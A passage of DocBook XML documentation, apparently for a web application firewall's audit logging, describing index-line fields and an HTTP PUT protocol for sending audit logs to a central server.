                        <para>Response status</para>
                    </listitem>
                    <listitem>
                        <para>Bytes sent (in the response body)</para>
                    </listitem>
                    <listitem>
                        <para>Referrer information</para>
                    </listitem>
                    <listitem>
                        <para>User-Agent information</para>
                    </listitem>
                    <listitem>
                        <para>Transaction ID</para>
                    </listitem>
                    <listitem>
                        <para>Session ID</para>
                    </listitem>
                    <listitem>
                        <para>Audit log file name (relative to the audit logging home, as configured
                            using the <literal>SecAuditLogStorageDir</literal> directive)</para>
                    </listitem>
                    <listitem>
                        <para>Audit log offset</para>
                    </listitem>
                    <listitem>
                        <para>Audit log size</para>
                    </listitem>
                    <listitem>
                        <para>Audit log hash (the has begins with the name of the algorithm used,
                            followed by a colon, followed by the hexadecimal representation of the
                            hash itself); this hash can be used to verify that the transaction was
                            correctly recorded and that it hasn't been modified since.</para>
                    </listitem>
                </orderedlist>
                <note>
                    <para>Lines in the index file will be up to 3980 bytes long, and the information
                        logged will be reduced to fit where necessary. Reduction will occur within
                        the individual fields, but the overall format will remain the same. The
                        character <literal>L</literal> will appear as the last character on a
                        reduced line. A space will be the last character on a line that was not
                        reduced to stay within the limit.</para>
                </note>
            </section>
        </section>
        <section>
            <title>Transport Protocol</title>
            <para>Audit logs generated in multi-sensor deployments are of little use if left on the
                sensors. More commonly, they will be transported to a central logging server using
                the transport protocol described in this section:</para>
            <orderedlist>
                <listitem>
                    <para>The transport protocol is based on the HTTP protocol.</para>
                </listitem>
                <listitem>
                    <para>The server end is an SSL-enabled web server with HTTP Basic Authentication
                        configured.</para>
                </listitem>
                <listitem>
                    <para>Clients will open a connection to the centralisation web server and
                        authenticate (given the end-point URI, the username and the
                        password).</para>
                </listitem>
                <listitem>
                    <para>Clients will submit every audit log in a single <literal>PUT</literal>
                        transaction, placing the file in the body of the request and additional
                        information in the request headers (see below for details).</para>
                </listitem>
                <listitem>
                    <para>Server will process each submission and respond with an appropriate status
                        code: </para>
                    <orderedlist>
                        <listitem>
                            <para>200 (OK) - the submission was processed; the client can delete the
                                corresponding audit log entry if it so desires. The same audit log
                                entry must not be submitted again.</para>
                        </listitem>
                        <listitem>
                            <para>409 (Conflict) - if the submission is in invalid format and cannot
                                be processed. The client should attempt to fix the problem with the
                                submission and attempt delivery again at a later time. This error is
                                generally going to occur due to a programming error in the protocol
                                implementation, and not because of the content of the audit log
                                entry that is being transported. </para>
                        </listitem>
                        <listitem>
                            <para>500 (Internal Server Error) - if the server was unable to
                                correctly process the submission, due to its own fault. The client
                                should re-attempt delivery at a later time. A client that starts
                                receiving 500 reponses to all its submission should suspend its
                                operations for a period of time before continuing.</para>
                        </listitem>
                    </orderedlist>
                </listitem>
            </orderedlist>
            <note>
                <para>Server implementations are advised to accept all submissions that correctly
                    implement the protocol. Clients are unlikely to be able to overcome problems
                    within audit log entries, so such problems are best resolved on the server
                    side.</para>
            </note>
            <note>
                <para>When en error occurs, the server may place an explanation of the problem in
                    the text part of the response line.</para>
            </note>
            <section>
                <title>Request Headers Information</title>
                <para>Each audit log entry submission must contain additional information in the
                    request headers:</para>
                <orderedlist>
                    <listitem>
                        <para>Header <literal>X-Content-Hash</literal> must contain the audit log
                            entry hash. Clients should expect the audit log entries to be validated
                            against the hash by the server.</para>
                    </listitem>
                    <listitem>
                        <para>Header <literal>X-ForensicLog-Summary</literal> must contain the
                            entire concurrent format index line.</para>
                    </listitem>
                    <listitem>
                        <para>The <literal>Content-Lenght</literal> header must be present and
                            contain the length of the audit log entry.</para>
                    </listitem>
                </orderedlist>
            </section>
        </section>
    </section>
</article>
